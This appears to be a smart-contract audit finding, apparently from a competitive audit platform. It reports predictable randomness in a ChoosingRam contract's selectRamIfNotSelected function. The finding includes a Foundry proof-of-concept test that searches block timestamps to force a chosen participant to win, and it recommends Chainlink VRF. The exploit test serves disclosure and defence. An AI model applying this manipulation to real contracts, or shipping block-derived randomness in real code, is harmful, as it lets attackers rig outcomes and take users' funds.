The ChoosingRam contract uses a pseudorandom number generator in the selectRamIfNotSelected functions. The current implementation relies on block.timestamp and block.prevrandao, which are predictable and can be manipulated by miners, leading to potential unfair outcomes in the selection of Ram.
Weak Random number generator in selectRamIfNotSelected Function:
**Proof of Concept **
```
function test_canManipulateRamSelection() public {
// To be selected as winner
address winner = makeAddr("winner");
vm.deal(player1, 1 ether);
vm.deal(player2, 1 ether);
vm.deal(player3, 1 ether);
vm.deal(winner, 1 ether);
vm.prank(player1);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.prank(player2);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.prank(player3);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.prank(winner);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
console.log("Participant length", ramNFT.tokenCounter());
// Set a range of timestamps to simulate a miner's control over the block timestamp
uint256 startTime = 1728691200 + 1; // The earliest possible time
uint256 endTime = 1728777600; // The latest possible time
// Loop through the range to find a timestamp that makes the winner selected
for (uint256 timestamp = startTime; timestamp <= endTime; timestamp++) {
uint256 random = uint256(keccak256(abi.encodePacked(timestamp, block.prevrandao))) % 4;
if (random == 3) {
vm.warp(timestamp);
break;
}
}
// Organiser selects Ram
vm.startPrank(organiser);
choosingRam.selectRamIfNotSelected();
vm.stopPrank();
// Assert that the winner was selected
assertEq(choosingRam.selectedRam(), winner);
}
```
Critical - The randomness can be predicted. This undermines the fairness of the Ram selection process.
Manual review
Static analysis
Foundry
Use Chainlink VRF (Verifiable Random Function):
The organizer is trusted, but the function `ChoosingRam::selectRamIfNotSelected` uses a way to generate a random number that is not completely random.
The contest is live. Earn rewards by submitting a finding.
This is your time to appeal against judgements on your submissions.
Appeals are being carefully reviewed by our judges.